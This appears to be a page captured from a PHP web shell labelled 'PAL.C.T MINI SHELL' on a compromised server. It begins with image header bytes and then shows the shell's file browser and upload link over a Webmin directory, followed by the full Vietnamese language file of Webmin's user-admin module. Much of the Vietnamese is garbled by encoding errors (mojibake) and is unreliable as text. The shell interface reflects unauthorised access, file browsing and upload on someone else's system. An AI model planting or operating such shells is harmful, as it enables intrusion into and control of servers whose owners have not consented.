‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒÌŸç™û¾ýÍaî=·nlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?¾q¸SXzG'åóay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/useradmin/lang/
upload
files >> //usr/libexec/webmin/useradmin/lang/vi.auto

index_title=Ngưá»i dùng và nhóm
index_pft=Loại cơ sở dữ liệu: $1
index_pft0=CÅ© /etc/passwd
index_pft1=BSD master.passwd
index_pft2=Thưá»ng xuyên /etc/passwd & /etc/shadow
index_pft3=Lệnh ngưá»i dùng
index_pft4=AIX
index_pft5=SCO /etc/passwd & /etc/shadow
index_pft6=MacOS NetINFO
index_pft7=Macos DSCL
index_toomany=Có quá nhiá»u ngưá»i dùng trên hệ thống cá»§a bạn để hiển thị trên má»™t trang.
index_find=Tìm ngưá»i dùng có
index_userreal=Tên đăng nhập hoặc tên thật
index_usheader=Tìm kiếm ngưá»i dùng
index_gsheader=Tìm kiếm nhóm
index_fmode=Chế độ khớp
index_ftext=Tìm kiếm văn bản
index_gtoomany=Có quá nhiá»u nhóm trên hệ thống cá»§a bạn để hiển thị trên má»™t trang.
index_gfind=Tìm nhóm có
index_ugroup=Nhóm chính
index_users=Ngưá»i dùng địa phương
index_gjump=Chuyển đến nhóm ..
index_ujump=Chuyển đến ngưá»i dùng ..
index_notusers=Bạn không được phép chỉnh sá»­a bất kỳ ngưá»i dùng nào trên hệ thống này
index_notusers2=Không có ngưá»i dùng được tìm thấy trên hệ thống này!
index_createuser=Tạo má»™t ngưá»i dùng má»›i.
index_batch=Chạy tệp bó.
index_export=Xuất thành tập tin hàng loạt.
index_nomoreusers=Bạn không được phép tạo thêm bất kỳ ngưá»i dùng nào
index_groups=Nhóm địa phương
index_notgroups=Bạn không được phép chỉnh sửa bất kỳ nhóm nào trên hệ thống này
index_notgroups2=Không có nhóm nào được tìm thấy trên hệ thống này!
index_creategroup=Tạo một nhóm mới.
index_nomoregroups=Bạn không được phép tạo thêm bất kỳ nhóm nào
index_logins=Hiển thị thông tin đăng nhập theo
index_loginsall=Tất cả ngưá»i dùng
index_loginsuser=Chỉ ngưá»i dùng
index_loginsdesc=Hiển thị thông tin đăng nhập gần đây má»™t số hoặc tất cả ngưá»i dùng Unix đã kết nối qua SSH hoặc Usermin.
index_return=danh sách ngưá»i dùng và nhóm
index_equals=bằng
index_matches=phù hợp với RE
index_nequals=không bằng
index_nmatches=không khớp với RE
index_contains=chứa đựng
index_ncontains=không chứa
index_lower=ít hơn
index_higher=lớn hơn
index_who=Hiển thị ngưá»i dùng đã đăng nhập
index_whodesc=Hiển thị ngưá»i dùng hiện Ä‘ang đăng nhập thông qua SSH hoặc Usermin.
index_mass=Xóa ngưá»i dùng đã chá»n
index_mass2=Vô hiệu hóa được chá»n
index_mass3=Cho phép chá»n
index_gmass=Xóa các nhóm đã chá»n

search_title=kết quả tìm kiếm
search_notfound=Không tìm thấy ngưá»i dùng phù hợp
search_found=Äã tìm thấy $1 phù hợp vá»›i ngưá»i dùng ..
search_gnotfound=Không tìm thấy nhóm phù hợp
search_gfound=Äã tìm thấy $1 nhóm phù hợp ..

uedit_title=Ngưá»i dùng biên tập
uedit_title2=Tạo ngưá»i dùng
uedit_details=Chi tiết ngưá»i dùng
user=tên tài khoản
uid=Tên ngưá»i dùng
gid=Nhóm
gidnum=Id nhóm
real=Tên thật
office=Văn phòng
workph=Äiện thoại làm việc
homeph=Äiện thoại nhà
extra=Tùy chá»n bổ sung
pass=Mật khẩu
none1=Há»i lúc đăng nhập lần đầu
none2=Không cần mật khẩu
nologin=Không cho phép đăng nhập
encrypted=Mật khẩu được mã hóa trước
nochange=Không thay đổi
clear=Mật khẩu bình thưá»ng
sshkey=Khóa công khai SSH
home=Thư mục nhà
uedit_auto=Tự động
uedit_manual=Danh mục
shell=Vá»
lastlogin=Lân đăng nhập cuôi
uedit_other=Khác ..
uedit_passopts=Tùy chá»n mật khẩu
change2=Thá»i gian thay đổi mật khẩu
expire2=Thá»i gian hết hạn tài khoản
class=Äăng nhập lá»›p
change=mật khẩu đã được thay đổi
flags=CỠtài khoản
uedit_never=Không bao giá»
uedit_unknown=không xác định
expire=Ngày hết hạn
min=Ngày tối thiểu
min_weeks=Tuần tối thiểu
max=Ngày tối đa
max_weeks=Tuần tối đa
warn=Ngày cảnh báo
ask=Há»i mật khẩu má»›i ở lần đăng nhập tiếp theo?
inactive=Ngày không hoạt động
uedit_gmem=Thành viên nhóm
group=Nhóm chính
uedit_newg=Nhóm mới
uedit_samg=Nhóm má»›i có cùng tên vá»›i ngưá»i dùng
uedit_oldg=Nhóm hiện có
uedit_2nd=Nhóm phụ
onsave=Khi lưu ..
uedit_movehome=Chuyển thư mục nhà nếu thay đổi?
uedit_chuid=Thay đổi ID ngưá»i dùng trên tập tin?
uedit_chgid=Thay đổi ID nhóm trên tập tin?
uedit_allfiles=Tất cả các tập tin
uedit_allg=Tất cả các nhóm
uedit_ing=Theo nhóm
chgid=Thay đổi ID nhóm trên tập tin?
uedit_oncreate=Khi sáng tạo ..
uedit_makehome=Tạo thư mục nhà?
uedit_copy=Sao chép tập tin mẫu vào thư mục nhà?
uedit_logins=Hiển thị thông tin đăng nhập
uedit_mail=Äá»c mail
uedit_swit=Äăng nhập vào Usermin
uedit_ecreate=Bạn không thể tạo ngưá»i dùng má»›i
uedit_egone=Ngưá»i dùng được chá»n không còn tồn tại!
uedit_eedit=Bạn không thể chỉnh sá»­a ngưá»i dùng này
uedit_admin=Chỉ root mới có thể thay đổi mật khẩu
uedit_admchg=Ngưá»i dùng phải chá»n mật khẩu má»›i
uedit_nocheck=Äừng kiểm tra hạn chế mật khẩu
uedit_cothers=Tạo ngưá»i dùng trong các mô-Ä‘un khác?
uedit_mothers=Sá»­a đổi ngưá»i dùng trong các mô-Ä‘un khác?
uedit_grename=Äổi tên nhóm nếu tên ngưá»i dùng thay đổi?
uedit_dothers=Xóa ngưá»i dùng trong các mô-Ä‘un khác?
uedit_forcechange=Thay đổi lực lượng khi đăng nhập tiếp theo?
uedit_uid_def=Tự động
uedit_uid_calc=Tính
uedit_disabled=Äăng nhập tạm thá»i bị vô hiệu hóa
uedit_sys=Mặc định hệ thống
uedit_clone=Ngưá»i dùng nhân bản

usave_err=Không thể lưu ngưá»i dùng
usave_eedit=Bạn không thể chỉnh sá»­a ngưá»i dùng này
usave_ecreate=Bạn không thể tạo ngưá»i dùng má»›i
usave_ebadname='$1' không phải là tên ngưá»i dùng hợp lệ
usave_elength=Tên ngưá»i dùng không thể dài hÆ¡n $1 chữ cái
usave_ere=Tên ngưá»i dùng không khá»›p vá»›i regrec $1
usave_erename=Bạn không được phép đổi tên ngưá»i dùng
usave_einuse=tên ngưá»i dùng '$1' đã được sá»­ dụng
usave_einuse_a=tên ngưá»i dùng '$1' đã được sá»­ dụng bởi bí danh thư
usave_einuseg=tên nhóm '$1' đã được sử dụng
usave_euid='$1' không phải là UID hợp lệ
usave_euuid=Bạn không được phép thay đổi UID cá»§a ngưá»i dùng
usave_elowuid=UID phải lớn hơn hoặc bằng $1
usave_ehiuid=UID phải nhỠhơn hoặc bằng $1
usave_euidused=Ngưá»i dùng $1 đã sá»­ dụng UID $2
usave_euidused2=UID đã được sử dụng
usave_ealluid=Tất cả các UID được phép đã được phân bổ
usave_ereal='$1' không phải là tên thật hợp lệ
usave_ehome='$1' không phải là thư mục chính hợp lệ
usave_esgname='$1' không phải là tên nhóm phụ hợp lệ
usave_ehomepath=Bạn không được phép tạo thư mục chính $1
usave_eshell='$1' không phải là vỠcho phép
usave_egid='$1' không phải là nhóm hợp lệ
usave_egcreate=Bạn không được phép tạo nhóm má»›i cho ngưá»i dùng má»›i
usave_eprimary=Bạn không được phép thêm ngưá»i dùng này vào nhóm chính $1
usave_esecondary=Bạn không được phép thêm ngưá»i dùng này vào nhóm thứ cấp $1
usave_eprimaryr=Bạn không được phép xóa ngưá»i dùng này khá»i nhóm chính $1
usave_esecondaryr=Bạn không được phép xóa ngưá»i dùng này khá»i nhóm thứ cấp $1
usave_emin='$1' không phải là khoảng thá»i gian thay đổi tối thiểu hợp lệ
usave_emax='$1' không phải là khoảng thá»i gian thay đổi tối Ä‘a hợp lệ
usave_ewarn='$1' không phải là khoảng thá»i gian cảnh báo hợp lệ
usave_einactive='$1' không phải là khoảng thá»i gian không hoạt động hợp lệ
usave_eexpire=Ngày hết hạn không hợp lệ
usave_echange=Ngày thay đổi không hợp lệ
usave_eclass='$1' không phải là lớp đăng nhập hợp lệ
usave_emove=Không thể di chuyển thư mục nhà : $1
usave_emkdir=Không thể tạo thư mục chính : $1
usave_echown=Không thể truy cập thư mục chính : $1
usave_echmod=Không thể chmod thư mục chính : $1
usave_eoffice=Văn phòng không thể chứa một: ký tự
usave_eworkph=Äiện thoại cÆ¡ quan không thể chứa má»™t: ký tá»±
usave_ehomeph=Äiện thoại nhà không thể chứa má»™t: ký tá»±
usave_edigestmod=Hệ thống cá»§a bạn đã bật mật khẩu $4, tuy nhiên, mô-Ä‘un Perl <tt>$3</tt> chưa được cài đặt. Äể buá»™c sá»­ dụng mật khẩu được mã hóa thông thưá»ng, hãy Ä‘iá»u chỉnh <a href='$1'>cấu hình mô-Ä‘un</a> cá»§a bạn hoặc yêu cầu Webmin cố gắng <a href='$2'>tải xuống và cài đặt</a> mô-Ä‘un <tt>$3</tt> cho bạn.
usave_edigestcrypt=Hệ thống cá»§a bạn đã bật $4 mật khẩu, nhưng hàm <tt>crypt</tt> không há»— trợ định dạng này. Äể buá»™c sá»­ dụng mật khẩu được mã hóa thông thưá»ng, hãy Ä‘iá»u chỉnh <a href='$1'>cấu hình mô-Ä‘un</a> cá»§a bạn.
usave_emaking=Trước khi cập nhật lệnh không thành công : $1
usave_epasswd_min=Mật khẩu phải có ít nhất $1 chữ cái dài
usave_epasswd_re=Mật khẩu không khớp với regrec $1
usave_epasswd_dict=Mật khẩu là một từ trong từ điển
usave_epasswd_same=Mật khẩu chứa hoặc giống như tên ngưá»i dùng
usave_epasswd_mindays=Mật khẩu đã được thay đổi ít hơn $1 ngày trước
usave_epasswd_cmd=Lệnh xác thực mật khẩu không thành công
usave_eothers=Ngưá»i dùng đã được lưu thành công, nhưng đã xảy ra lá»—i trong má»™t mô-Ä‘un khác : $1

gedit_title=Chỉnh sửa nhóm
gedit_title2=Tạo nhóm
gedit_details=Chi tiết nhóm
gedit_group=Tên nhóm
gedit_gid=Id nhóm
gedit_desc=Sự miêu tả
gedit_members=Các thành viên
gedit_oneperline=(Một trên mỗi dòng)
gedit_homedirs=Thư mục nhà
gedit_allfiles=Tất cả các tập tin
gedit_ecreate=Bạn không thể tạo nhóm mới
gedit_egone=Nhóm được chá»n không còn tồn tại!
gedit_eedit=Bạn không thể chỉnh sửa nhóm này
gedit_cothers=Tạo nhóm trong các mô-đun khác?
gedit_mothers=Sửa đổi nhóm trong các mô-đun khác?
gedit_gid_calc=Tính
gedit_gid_def=Tự động
gedit_allu=Tất cả ngưá»i dùng
gedit_selu=Ngưá»i dùng trong nhóm
gedit_pri=Thành viên nhóm chính
gedit_prinone=Không có ngưá»i dùng nào có nhóm này là chính
gedit_clone=Nhóm nhái

gsave_err=Không thể lưu nhóm
gsave_eedit=Bạn không thể chỉnh sửa nhóm này
gsave_ecreate=Bạn không thể tạo nhóm mới
gsave_ebadname='$1' không phải là tên nhóm hợp lệ
gsave_elength=Tên nhóm không thể dài hơn $1 chữ cái
gsave_einuse=tên nhóm '$1' đã được sử dụng
gsave_egid='$1' không phải là GID hợp lệ
gsave_eggid=Bạn không được phép thay đổi GID của các nhóm
gsave_eallgid=Tất cả các GID được phép đã được phân bổ
gsave_eothers=Nhóm đã được lưu thành công, nhưng đã xảy ra lỗi trong một mô-đun khác : $1
usave_elowgid=GID phải lớn hơn hoặc bằng $1
usave_ehigid=GID phải nhỠhơn hoặc bằng $1
usave_egidused=Nhóm $1 đã sử dụng GID $2
gsave_egidused2=GID đã được sử dụng
usave_efromroot=Bạn không thể di chuyển thư mục nhà từ /
usave_etoroot=Bạn không thể di chuyển thư mục nhà đến /

logins_title=Äăng nhập
logins_head=Thông tin đăng nhập được ghi lại cho $1
logins_from=Äăng nhập từ
logins_tty=TTY
logins_in=Äăng nhập tại
logins_out=Äăng xuất tại
logins_for=Bật cho
logins_still=Vẫn đăng nhập
logins_none=Không có thông tin đăng nhập
logins_elist=Bạn không được phép liệt kê thông tin đăng nhập
logins_elistu=Bạn không được phép liệt kê thông tin đăng nhập cho '$1'
logins_local=Äịa phương

udel_title=Xóa ngưá»i dùng
udel_err=Không thể xóa ngưá»i dùng
udel_enum=Số ngưá»i dùng không hợp lệ
udel_euser=Bạn không thể xóa ngưá»i dùng này
udel_ealready=Ngưá»i dùng này đã bị xóa!
udel_eroot=Bạn không được phép xóa ngưá»i dùng hệ thống (những ngưá»i có UID nhá» hÆ¡n hoặc bằng 10).
udel_echanged=Mật khẩu tập tin đã thay đổi. Vui lòng quay lại danh sách ngưá»i dùng và chá»n lại ngưá»i dùng này.
udel_other=Xóa khá»i các mô-Ä‘un khác ..
udel_pass=Xóa mục nhập tập tin mật khẩu ..
udel_groups=Xóa khá»i nhóm ..
udel_ugroupother=Xóa nhóm ngưá»i dùng này trong các mô-Ä‘un khác ..
udel_ugroup=Xóa nhóm ngưá»i dùng này ..
udel_home=Xóa thư mục nhà ..
udel_done=.. làm xong
udel_failed=.. thất bại!  : $1
udel_sure=Bạn có chắc chắn muốn xóa ngưá»i dùng $1? Thư mục chính $2 chứa $3 cá»§a tệp
udel_sure2=Bạn có chắc chắn muốn xóa ngưá»i dùng $1?
udel_del1=Xóa ngưá»i dùng
udel_del2=Xóa thư mục ngưá»i dùng và nhà
udel_others=CẢNH BÃO! Thư mục chính $1 chứa các tệp $2 do ngưá»i dùng khác sở hữu.
udel_dothers=Xóa ngưá»i dùng trong các mô-Ä‘un khác?
udel_root=Cảnh báo! Nếu ngưá»i dùng root bị xóa, bạn có thể không thể quản trị hệ thống cá»§a mình trong tương lai.

gdel_title=Xóa nhóm
gdel_err=Không thể xóa nhóm
gdel_eroot=Bạn không được phép xóa các nhóm hệ thống (những nhóm có GID nhỠhơn hoặc bằng 10).
gdel_enum=Số nhóm không hợp lệ
gdel_egroup=Bạn không thể xóa nhóm này
gdel_ealready=Nhóm này đã bị xóa!
gdel_group=Xóa mục nhập tệp nhóm ..
gdel_done=.. làm xong
gdel_eprimary=Nhóm này không thể bị xóa, vì đây là nhóm chính cá»§a ngưá»i dùng $1.
gdel_sure=Bạn có chắc chắn muốn xóa nhóm $1?
gdel_del=Xóa nhóm
gdel_dothers=Xóa nhóm trong các mô-đun khác?
gdel_other=Xóa khá»i các mô-Ä‘un khác ..

many_title=Tạo nhiá»u ngưá»i dùng
many_desc=Biểu mẫu này cho phép bạn tạo nhiá»u ngưá»i dùng cùng má»™t lúc từ tệp văn bản được tải lên hoặc cục bá»™. Má»—i dòng trong tệp chỉ định má»™t ngưá»i dùng theo định dạng sau:
many_desc2=username:passwd:uid:gid:realname:homedir:shell:min:max:warn:inactive:expire
many_desc1=username:passwd:uid:gid:realname:homedir:shell:class:change:expire
many_desc0=username:passwd:uid:gid:realname:homedir:shell
many_descafter=Nếu trưá»ng <tt>uid</tt> bị bá» trống, Webmin sẽ tá»± động gán UID. Nếu trưá»ng <tt>gid</tt> trống, Webmin sẽ tạo má»™t nhóm má»›i có cùng tên vá»›i ngưá»i dùng. Các trưá»ng <tt>tên ngưá»i dùng</tt>, <tt>homedir</tt> và <tt>shell</tt> phải được cung cấp cho má»i ngưá»i dùng - tất cả các trưá»ng khác Ä‘á»u được phép để trống.
many_descpass=Nếu trưá»ng <tt>passwd</tt> trống, sẽ không có mật khẩu nào được chỉ định cho ngưá»i dùng. Nếu nó chỉ chứa chữ <tt>x</tt>, tài khoản sẽ bị khóa. Nếu không, văn bản trong trưá»ng sẽ được lấy làm mật khẩu Cleartext và được mã hóa.
many_file=Äã tải lên tệp ngưá»i dùng má»›i
many_local=Tập tin ngưá»i dùng má»›i cục bá»™
many_makehome=Tạo thư mục nhà?
many_copy=Sao chép tập tin vào thư mục nhà?
many_upload=Tạo ngưá»i dùng
many_elocal=Không tìm thấy tệp cục bộ
many_efile=Không có tệp nào được chá»n để tải lên
many_elen=Dòng $1 không chứa các trưá»ng $2
many_eline=Thiếu tên ngưá»i dùng tại dòng $1
many_euser=Tên ngưá»i dùng trùng lặp tại dòng $1 : $2 
many_egid=GID không hợp lệ tại dòng $1 : $2 
many_ehome=Thư mục nhà không hợp lệ tại dòng $1 : $2 
many_eshell=Shell không hợp lệ tại dòng $1 : $2 
many_emkdir=Không thể tạo thư mục chính $1 : $2 
many_egtaken=Tên nhóm đã được sử dụng tại dòng $1 : $2 
many_ok=Ngưá»i dùng đã tạo $1

acl_uedit=Ngưá»i dùng Unix có thể được chỉnh sá»­a
acl_uedit_all=Tất cả ngưá»i dùng
acl_uedit_none=Không có ngưá»i dùng
acl_uedit_only=Chỉ ngưá»i dùng
acl_uedit_except=Tất cả ngoại trừ ngưá»i dùng
acl_uedit_uid=Ngưá»i dùng có UID trong phạm vi
acl_uedit_gid=Ngưá»i dùng có GID trong phạm vi
acl_uedit_group=Ngưá»i dùng có nhóm
acl_uedit_sec=Bao gồm các nhóm thứ cấp?
acl_uedit_this=Chỉ ngưá»i dùng này
acl_uedit_re=Ngưá»i dùng phù hợp vá»›i regrec
acl_ucreate=Có thể tạo ngưá»i dùng má»›i?
acl_uid=UID cho ngưá»i dùng má»›i hoặc ngưá»i dùng đã sá»­a đổi
acl_umultiple=Nhiá»u ngưá»i dùng có thể có cùng UID
acl_uuid=UID cá»§a ngưá»i dùng hiện tại có thể được thay đổi
acl_ugroups=Các nhóm được phép cho ngưá»i dùng má»›i hoặc đã sá»­a đổi
acl_all=Tất cả
acl_shells=VỠđược phép cho ngưá»i dùng má»›i hoặc đã sá»­a đổi
acl_any=Bất kì
acl_listed=Liệt kê ..
acl_home=Thư mục nhà phải ở dưới
acl_delhome=Có thể xóa thư mục nhà?
acl_option=Không bắt buộc
acl_always=Luôn luôn
acl_never=Không bao giá»
acl_autohome=Thư mục chính luôn giống như tên ngưá»i dùng
acl_gedit=Các nhóm Unix có thể được chỉnh sửa
acl_gedit_all=Tất cả các nhóm
acl_gedit_none=Không có nhóm
acl_gedit_only=Chỉ nhóm
acl_gedit_except=Tất cả ngoại trừ các nhóm
acl_gedit_gid=Các nhóm có GID trong phạm vi
acl_gcreate=Có thể tạo nhóm mới?
acl_gnew=Chỉ dành cho ngưá»i dùng má»›i
acl_gid=GID cho các nhóm mới hoặc sửa đổi
acl_gmultiple=Nhiá»u nhóm có thể có cùng GID
acl_ggid=GID của các nhóm hiện có có thể được thay đổi
acl_logins=Có thể hiển thị thông tin đăng nhập bằng cách
acl_lnone=Không có ngưá»i dùng
acl_lall=Tất cả ngưá»i dùng
acl_epeopt=Có thể chỉnh sá»­a tùy chá»n hết hạn mật khẩu?
acl_batch=Có thể xem mẫu tập tin hàng loạt?
acl_export=Có thể xuất file hàng loạt?
acl_export1=Có, nhưng chỉ hiển thị trong trình duyệt
acl_egp=Có thể chỉnh sửa mật khẩu nhóm?
acl_saveopts=ÄÆ°á»£c phép tùy chá»n lưu
acl_on=Luôn luôn
acl_off=Luôn luôn tắt
acl_canedit=Có thể chá»n
acl_autouid=Có thể tự động tăng số UID không?
acl_autogid=Có thể tự động tăng số GID không?
acl_calcuid=Có thể tính số UID?
acl_calcgid=Có thể tính số GID?
acl_useruid=Có thể nhập số UID?
acl_usergid=Có thể nhập số GID không?
acl_udelete=Có thể xóa ngưá»i dùng?
acl_gdelete=Có thể xóa nhóm?
acl_urename=Có thể đổi tên ngưá»i dùng?
acl_grename=Có thể đổi tên nhóm?

log_urename=Ngưá»i dùng đã đổi tên $1 thành $2
log_umodify=Ngưá»i dùng đã sá»­a đổi $1
log_ucreate=Ngưá»i dùng đã tạo $1
log_udelete=Ngưá»i dùng đã xóa $1
log_udeletehome=Ngưá»i dùng đã xóa $1 và thư mục $2
log_gmodify=Nhóm đã sửa đổi $1
log_gcreate=Äã tạo nhóm $1
log_gdelete=Nhóm đã xóa $1
log_batch=Tệp bó đã thực hiện $1
log_batch_l=Tệp bó đã thực hiện $1 ($2 đã tạo, $3 đã sửa đổi, $4 đã xóa)
log_ubatch=Äã thá»±c hiện tập tin tải lên
log_ubatch_l=Äã thá»±c hiện tệp bó đã tải lên ($1 đã tạo, $2 đã sá»­a đổi, $3 đã xóa)
log_gbatch=Tệp bó nhóm đã thực hiện $1
log_gbatch_l=Tệp bó nhóm đã thực hiện $1 ($2 đã tạo, $3 đã sửa đổi, $4 đã xóa)
log_ugbatch=Äã thá»±c hiện tập tin nhóm tải lên
log_ugbatch_l=Äã thá»±c hiện tệp bó nhóm đã tải lên ($1 đã tạo, $2 đã sá»­a đổi, $3 đã xóa)
log_delete_users=Äã xóa $1 ngưá»i dùng
log_delete_groups=Äã xóa các nhóm $1

batch_title=Thực hiện tập tin hàng loạt
batch_ecannot=Bạn không thể sử dụng mẫu tệp bó
batch_desc=Biểu mẫu này cho phép bạn tạo, sá»­a đổi hoặc xóa nhiá»u ngưá»i dùng cùng má»™t lúc từ tệp văn bản được tải lên hoặc cục bá»™. Má»—i dòng trong tệp chỉ định má»™t hành động cần thá»±c hiện, tùy thuá»™c vào trưá»ng đầu tiên cá»§a nó. Các định dạng dòng là :
batch_desc6=<b>create</b>:username:passwd:uid:gid:realname:homedir:shell:class:change:expire<p><b>modify</b>:oldusername:username:passwd:uid:gid:realname:homedir:shell:class:change:expire<p><b>delete</b>:username
batch_desc5=<b>create</b>:username:passwd:uid:gid:realname:homedir:shell:min:max<p><b>modify</b>:oldusername:username:passwd:uid:gid:realname:homedir:shell:min:max<p><b>delete</b>:username
batch_desc4=<b>create</b>:username:passwd:uid:gid:realname:homedir:shell:min:max:expire:flags<p><b>modify</b>:oldusername:username:passwd:uid:gid:realname:homedir:shell:min:max:expire:flags<p><b>delete</b>:username
batch_desc3=<b>create</b>:username:passwd:uid:gid:realname:homedir:shell<p><b>modify</b>:oldusername:username:passwd:uid:gid:realname:homedir:shell<p><b>delete</b>:username
batch_desc2=<b>create</b>:username:passwd:uid:gid:realname:homedir:shell:min:max:warn:inactive:expire<p><b>modify</b>:oldusername:username:passwd:uid:gid:realname:homedir:shell:min:max:warn:inactive:expire<p><b>delete</b>:username
batch_desc1=<b>create</b>:username:passwd:uid:gid:realname:homedir:shell:class:change:expire<p><b>modify</b>:oldusername:username:passwd:uid:gid:realname:homedir:shell:class:change:expire<p><b>delete</b>:username
batch_desc0=<b>create</b>:username:passwd:uid:gid:realname:homedir:shell<p><b>modify</b>:oldusername:username:passwd:uid:gid:realname:homedir:shell<p><b>delete</b>:username
batch_descafter=Trong các dòng <b>tạo</b>, nếu trưá»ng <tt>uid</tt> bị bá» trống, Webmin sẽ tá»± động gán UID. Nếu trưá»ng <tt>gid</tt> trống, Webmin sẽ tạo má»™t nhóm má»›i có cùng tên vá»›i ngưá»i dùng. Các trưá»ng <tt>tên ngưá»i dùng</tt>, <tt>homedir</tt> và <tt>shell</tt> phải được cung cấp cho má»i ngưá»i dùng - tất cả các trưá»ng khác Ä‘á»u được phép để trống. Nếu trưá»ng <tt>passwd</tt> trống, sẽ không có mật khẩu nào được chỉ định cho ngưá»i dùng. Nếu nó chỉ chứa chữ <tt>x</tt>, tài khoản sẽ bị khóa. Nếu không, văn bản trong trưá»ng sẽ được lấy làm mật khẩu Cleartext và được mã hóa.
batch_descafter2=Trong các dòng <b>sá»­a đổi</b>, má»™t trưá»ng trống sẽ được sá»­ dụng để có nghÄ©a là thuá»™c tính ngưá»i dùng tương ứng sẽ không được sá»­a đổi.
batch_source=Nguồn dữ liệu hàng loạt
batch_source0=Cập nhật dử liệu
batch_source1=Tập tin trên máy chủ
batch_source2=Văn bản trong hộp
batch_others=Tạo, sá»­a đổi hoặc xóa ngưá»i dùng trong các mô-Ä‘un khác?
batch_batch=Chỉ cập nhật tập tin ngưá»i dùng khi lô hoàn tất?
batch_makehome=Tạo thư mục nhà cho ngưá»i dùng đã tạo?
batch_copy=Sao chép tập tin vào thư mục nhà cá»§a ngưá»i dùng đã tạo?
batch_movehome=Äổi tên thư mục nhà cá»§a ngưá»i dùng sá»­a đổi?
batch_chuid=Thay đổi UID trên tệp cá»§a ngưá»i dùng đã sá»­a đổi?
batch_chgid=Thay đổi GID trên tệp cá»§a ngưá»i dùng đã sá»­a đổi?
batch_delhome=Xóa thư mục nhà cá»§a ngưá»i dùng đã xóa?
batch_upload=Thực hiện lô
batch_elocal=Không tìm thấy tệp cục bộ
batch_efile=Không có tệp nào được chá»n để tải lên
batch_etext=Không có văn bản tập tin hàng loạt được nhập
batch_elen=Dòng $1 không chứa các trưá»ng $2
batch_eline=Thiếu tên ngưá»i dùng tại dòng $1
batch_euser=Tên ngưá»i dùng trùng lặp tại dòng $1 : $2 
batch_echeck=Tên ngưá»i dùng không hợp lệ tại dòng $1 : $2 
batch_egid=GID không hợp lệ tại dòng $1 : $2 
batch_ehome=Thư mục nhà không hợp lệ tại dòng $1 : $2 
batch_eshell=Shell không hợp lệ tại dòng $1 : $2 
batch_emkdir=Không thể tạo thư mục chính $1 : $2 
batch_egtaken=Tên nhóm đã được sử dụng tại dòng $1 : $2 
batch_eaction=Hành động không hợp lệ tại dòng $1 : $2 
batch_enouser=Ngưá»i dùng không tồn tại ở dòng $1 : $2 
batch_erename=Bạn không được phép đổi tên ngưá»i dùng tại dòng $1 : $2 
batch_emove=Không thể di chuyển thư mục nhà tại dòng $1 : $2 
batch_created=Ngưá»i dùng đã tạo $1
batch_deleted=Ngưá»i dùng đã xóa $1
batch_modified=Ngưá»i dùng đã sá»­a đổi $1
batch_ecaccess=Bạn không được phép tạo ngưá»i dùng tại dòng $1 : $2 
batch_emaccess=Bạn không được phép sá»­a đổi ngưá»i dùng tại dòng $1 : $2 
batch_edaccess=Bạn không được phép xóa ngưá»i dùng tại dòng $1 : $2 
batch_crypt=Mật khẩu đã được mã hóa?
batch_return=mẫu lô
batch_eother=Nhưng đã xảy ra lỗi trong một mô-đun khác : $1
batch_emin=Ngày tối thiểu không hợp lệ trên dòng $1 : $2 
batch_emax=Ngày tối đa không hợp lệ trên dòng $1 : $2 
batch_ewarn=Ngày cảnh báo không hợp lệ trên dòng $1 : $2 
batch_einactive=Ngày không hoạt động không hợp lệ trên dòng $1 : $2 
batch_eexpire=Ngày hết hạn không hợp lệ trên dòng $1 : $2 
batch_echange=Ngày thay đổi mật khẩu không hợp lệ trên dòng $1 : $2 
batch_instr=Hướng dẫn và định dạng hàng loạt
batch_header=Tùy chá»n tạo, cập nhật và xóa hàng loạt ngưá»i dùng

who_title=Ngưá»i dùng đã đăng nhập
who_user=Ngưá»i dùng Unix
who_tty=TTY
who_when=Äăng nhập tại
who_from=Äăng nhập từ
who_none=Không có ngưá»i dùng hiện Ä‘ang đăng nhập.

export_title=Xuất tập tin hàng loạt
export_desc=Biểu mẫu này cho phép bạn tạo má»™t tệp bó chứa má»™t số hoặc tất cả ngưá»i dùng có sẵn trên hệ thống. Tệp có thể được sá»­ dụng trên trang Thá»±c thi hàng loạt tệp trên má»™t hệ thống khác để tạo lại ngưá»i dùng đã xuất, giả sá»­ rằng nó sá»­ dụng định dạng tệp bó đã chá»n.
export_header=Tùy chá»n xuất hàng loạt ngưá»i dùng
export_to=Äích tập tin đích
export_show=Hiển thị trong trình duyệt
export_file=Viết vào tập tin
export_ok=Xuất ngay
export_err=Không thể xuất tệp bó
export_efile=Thiếu tập tin để ghi vào
export_efile2=Tệp để ghi vào không có trong một thư mục hợp lệ
export_egroup=Nhóm $1 không tồn tại
export_eopen=Không thể mở tệp đầu ra : $1
export_euid=UID đầu tiên không hợp lệ trong phạm vi
export_euid2=UID thứ hai không hợp lệ trong phạm vi
export_egid=GID đầu tiên không hợp lệ trong phạm vi
export_egid2=GID thứ hai không hợp lệ trong phạm vi
export_done=Äã xuất thành công $1 ngưá»i dùng vào tệp $2 ($3).
export_pft=Äịnh dạng tập tin hàng loạt
export_who=Ngưá»i dùng xuất
export_ecannot=Bạn không được phép xuất ngưá»i dùng

gexport_title=Xuất nhóm hàng loạt tệp
gexport_desc=Biểu mẫu này cho phép bạn tạo một tệp bó chứa một số hoặc tất cả các nhóm có sẵn trên hệ thống. Tập tin có thể được sử dụng trên trang Tập tin thực thi nhóm thực thi trên một hệ thống khác để tạo lại các nhóm đã xuất.
gexport_header=Tùy chá»n xuất nhóm
gexport_who=Nhóm để xuất
gexport_ecannot=Bạn không được phép xuất nhóm
gexport_err=Không thể xuất tệp bó nhóm
gexport_egid=GID đầu tiên không hợp lệ trong phạm vi
gexport_egid2=GID thứ hai không hợp lệ trong phạm vi

pft_0=Chỉ tập tin <tt>passwd</tt> cổ điển
pft_1=Tệp BSD <tt>master.passwd</tt>
pft_2=Các tệp <tt>passwd</tt> và <tt>tiêu chuẩn</tt>
pft_3=Tệp Unix <tt>passwd</tt>
